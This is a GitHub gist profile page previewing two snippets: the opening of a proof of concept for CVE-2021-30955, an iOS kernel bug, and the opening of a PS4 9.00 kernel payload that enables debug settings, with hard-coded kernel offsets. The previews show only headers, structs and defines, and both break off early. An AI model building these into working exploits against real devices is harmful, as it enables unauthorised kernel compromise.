Skip to content

Instantly share code, notes, and snippets.

View kmeps4's full-sized avatar
🎯
Focusing

Kameleon kmeps4

🎯
Focusing
View GitHub Profile
@kmeps4
kmeps4 / poc.c
Created February 28, 2022 23:23 — forked from jakeajames/poc.c
CVE-2021-30955 PoC
#include <stdlib.h>
#include <stdio.h>
#include <pthread/pthread.h>
#include <mach/mach.h>
struct ool_msg {
mach_msg_header_t hdr;
mach_msg_body_t body;
mach_msg_ool_ports_descriptor_t ool_ports[];
};
@kmeps4
kmeps4 / enable-debug-settings.c
Created September 19, 2022 19:26
Enable debug settings payload for PS4 9.00
// Ported to 9.00 by github.com/LemonHaze420
#include "ps4.h"
#define KERN_XFAST_SYSCALL 0x1C0
#define KERN_PRISON_0 0x0111F870
#define KERN_ROOTVNODE 0x021EFF20
/*
flagged updater = qa_flags[0] & 0x1
force update = qa_flags[0] & 0x2